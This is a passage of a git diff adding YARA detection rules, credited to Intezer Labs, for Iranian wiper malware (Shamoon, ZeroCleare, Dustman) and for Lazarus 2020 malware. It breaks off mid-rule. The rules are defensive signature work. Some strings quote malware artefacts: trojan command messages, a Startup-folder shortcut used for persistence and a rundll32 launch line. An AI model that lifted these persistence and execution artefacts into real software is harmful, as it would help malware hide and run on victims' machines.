+		$5368717821_288 = { 0F B6 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? 45 ?? ?? ?? 48 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? EB }
+		$5368717578_239 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F BE ?? 66 ?? ?? ?? ?? ?? ?? ?? F3 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 33 ?? B8 ?? ?? ?? ?? F7 ?? 8B ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 4C ?? ?? ?? ?? ?? ?? 33 ?? 45 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$5368713933_78 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$5368718117_44 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 33 ?? 3B ?? 41 ?? ?? 74 }
+		$5368717533_41 = { 44 ?? ?? ?? ?? 45 ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 0F 82 }
+		$86175_71 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 75 }
+		$94204_37 = { 48 ?? ?? 48 ?? 81 E? ?? ?? ?? ?? 48 ?? ?? 25 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 89 ?? ?? ?? ?? ?? ?? 41 ?? ?? 0F 84 }
+		$86257_35 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 8B ?? 0F 8C }
+		$86141_30 = { 48 ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 8B ?? 0F 8C }
+
+	condition:
+		3 of them
+}
+
+private rule Intezer_Iranian_Wipers2
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2020-01-09"
+	strings:
+		$4204144_200 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? 89 ?? ?? ?? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 5? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8A ?? ?? 0F 57 ?? 68 ?? ?? ?? ?? 88 ?? 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 11 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? 83 ?? ?? 0F 57 ?? C7 ?? ?? ?? ?? ?? ?? 0F 11 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 66 ?? ?? ?? 8D ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? 0F 11 ?? ?? 0F 11 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$4205297_194 = { 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? 66 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 42 ?? 83 ?? ?? ?? ?? ?? ?? 5? 0F 43 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? 0F 57 ?? 8D ?? ?? ?? ?? ?? 5? 0F 11 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8B ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 ?? 0F 11 ?? ?? ?? ?? ?? F3 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 72 }
+		$4204515_127 = { 6A ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 66 ?? ?? ?? 0F 43 ?? ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? 72 }
+		$4206304_125 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? 0F 57 ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 85 ?? 7E }
+		$4207936_111 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 83 ?? ?? 5? 5? 5? A1 ?? ?? ?? ?? 33 ?? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F 57 ?? 8B ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 66 }
+		$4206904_97 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 57 ?? A2 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$4210311_73 = { 8B ?? ?? 6A ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 0B ?? 8B ?? 83 ?? ?? 83 ?? ?? ?? 0F 45 ?? 5? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 75 }
+		$4204380_66 = { 8B ?? ?? F7 ?? ?? FF 7? ?? 8B ?? ?? 8B ?? 8B ?? F7 ?? ?? 5? 8B ?? 8B ?? F7 ?? ?? 03 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 0F AC ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? 0F AF ?? 8B ?? ?? 89 }
+		$4207008_66 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? 0F 57 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5? 0F 11 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$4201168_66 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? 89 ?? ?? ?? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 5? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 33 ?? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$4204736_60 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 85 ?? 0F 8E }
+		$4206842_58 = { 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 83 ?? ?? ?? ?? ?? ?? FF 8? ?? ?? ?? ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 39 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F 8C }
+		$4207084_54 = { 8B ?? ?? ?? ?? ?? 0F 57 ?? 66 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$4207699_50 = { 0F B6 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 33 ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? F7 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 78 }
+		$4207760_46 = { 68 ?? ?? ?? ?? 5? 33 ?? 8B ?? 85 ?? 0F 4E ?? 99 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 2B ?? 79 }
+		$4211536_44 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? 89 ?? ?? 5? 8B ?? ?? 5? 8B ?? 8B ?? 8B ?? ?? 2B ?? 2B ?? C1 ?? ?? C1 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$4206706_43 = { 8B ?? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 85 ?? 0F 8E }
+		$4206768_38 = { 8B ?? ?? ?? 8D ?? ?? 8D ?? ?? 3B ?? 0F 46 ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 74 }
+		$4204850_34 = { 2B ?? 33 ?? 68 ?? ?? ?? ?? 85 ?? 8B ?? 5? 0F 4E ?? 99 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 79 }
+		$4206466_33 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 2B ?? 85 ?? 0F 8E }
+		$4209857_26 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 94 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4212384_26 = { 0F 10 ?? 8D ?? ?? 0F 11 ?? ?? F3 ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? ?? 3B ?? 75 }
+		$4211656_24 = { 8D ?? ?? 83 ?? ?? 3B ?? 0F 46 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$4206807_21 = { 0F 10 ?? 0F 11 ?? F3 ?? ?? ?? ?? 66 ?? ?? ?? ?? 83 ?? ?? ?? EB }
+		$4206624_19 = { 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 2B ?? 3B ?? 0F 8C }
+		$4205969_16 = { 8B ?? ?? 83 ?? ?? 2B ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$4205248_14 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 0F 1F }
+
+	condition:
+		16 of them
+}
+
+private rule Intezer_Iranian_Wipers3
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2020-01-09"
+	strings:
+		$5368714732_207 = { 8B ?? ?? ?? 44 ?? ?? 89 ?? 49 ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 8D ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? ?? 4C ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? ?? 45 ?? ?? ?? 4C ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$5368719357_162 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? 8B ?? F7 ?? 1B ?? F7 ?? 81 C? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 57 ?? F3 ?? ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$5368714420_123 = { 0F 10 ?? ?? ?? ?? ?? 33 ?? 4C ?? ?? ?? ?? 45 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 8D ?? ?? 8B ?? F3 ?? 48 ?? ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? F3 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$5368714547_113 = { 33 ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 8D ?? ?? 8B ?? 44 ?? ?? F3 ?? 8B ?? ?? ?? 8D ?? ?? 89 ?? ?? 8B ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$5368717893_104 = { 48 ?? ?? ?? ?? 33 ?? 8D ?? ?? F3 ?? 49 ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 57 ?? F3 ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 79 }
+		$5368714943_103 = { 33 ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? 4C ?? ?? ?? 8D ?? ?? 8B ?? 44 ?? ?? F3 ?? 8B ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? 89 ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$5368717358_85 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F 57 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? F3 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? }
+		$5368716611_81 = { 8B ?? 4D ?? ?? 89 ?? 0F B7 ?? ?? 66 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 }
+		$5368715384_78 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$5368715956_75 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? 83 ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$5368716537_73 = { 0F 10 ?? 0F 11 ?? 0F 10 ?? ?? 0F 11 ?? ?? 0F 10 ?? ?? 0F 11 ?? ?? 0F 10 ?? ?? 0F 11 ?? ?? 0F 10 ?? ?? 0F 11 ?? ?? 0F 10 ?? ?? 0F 11 ?? ?? 0F 10 ?? ?? 0F 11 ?? ?? 49 ?? ?? 0F 10 ?? ?? 49 ?? ?? 0F 11 ?? ?? 48 ?? ?? ?? 75 }
+		$5368714348_68 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 45 ?? ?? 49 ?? ?? ?? 8B ?? 44 ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? 0F 84 }
+		$5368718028_66 = { 83 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? C6 ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? 33 ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$5368714664_64 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$5368716388_57 = { 49 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$5368718098_49 = { 65 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$5368718212_49 = { 48 ?? ?? 48 ?? ?? FF D? 89 ?? ?? ?? 65 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? 0F 8C }
+		$5368716035_48 = { 33 ?? 48 ?? ?? ?? 49 ?? ?? 8D ?? ?? F3 ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? ?? 33 ?? 4C ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$5368715483_46 = { BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? 33 ?? F3 ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 82 }
+		$5368715466_13 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		10 of them
+}
+
+rule Intezer_Iranian_Wipers
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Shamoon, ZeroCleare and Dustman"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2020-01-09"
+	condition:
+		Intezer_Iranian_Wipers1 or
+		Intezer_Iranian_Wipers2 or
+		Intezer_Iranian_Wipers3
+}
diff --git a/yara-mikesxrs/Intezer/Lazarus_2020.yar b/yara-mikesxrs/Intezer/Lazarus_2020.yar
new file mode 100644
index 0000000..f87fa24
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Lazarus_2020.yar
@@ -0,0 +1,32 @@
+rule Lazarus_2020
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2020-06-11"
+	strings:
+		$s1 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword wide ascii
+		$s2 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword wide ascii
+		$s3 = "CreateProcess %s failure, errno = %d" fullword wide ascii
+		$s4 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword wide ascii
+		$s5 = "Can't create file %s, errno = %d" fullword wide ascii
+		$s6 = "Can't open user32.dll, %d" fullword wide ascii
+		$s7 = "Unable to GetProcAddress of GetProcAddress" fullword wide ascii
+		$s8 = "Can't find address of function Id = %d, %s" fullword wide ascii
+		$s9 = "Unable to GetProcAddress of VirtualProtect" fullword wide ascii
+		$s10 = "Unable to GetProcAddress of GetTickCount64" fullword wide ascii
+		$s11 = "Unable to GetProcAddress of GetTickCount" fullword wide ascii
+		$s12 = "Unable to GetProcAddress of FreeLibrary" fullword wide ascii
+		$s13 = "Receive disconnect command from trojan" fullword wide ascii
+		$s14 = "Receive Uninstall command from Trojan" fullword wide ascii
+		$s15 = "Receive Update command from trojan" fullword wide ascii
+		$l1 = "For more information visit <http://pcre.org/>. Alternative build from <https://github.com/kiyolee/pcre-win-build/>." fullword wide ascii
+		$l2 = "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneNote.lnk" fullword wide ascii
+		$l3 = "C:\\Windows\\System32\\rundll32.exe \"%s\", CtrlPanel %s 0 0 %s 1" fullword wide ascii
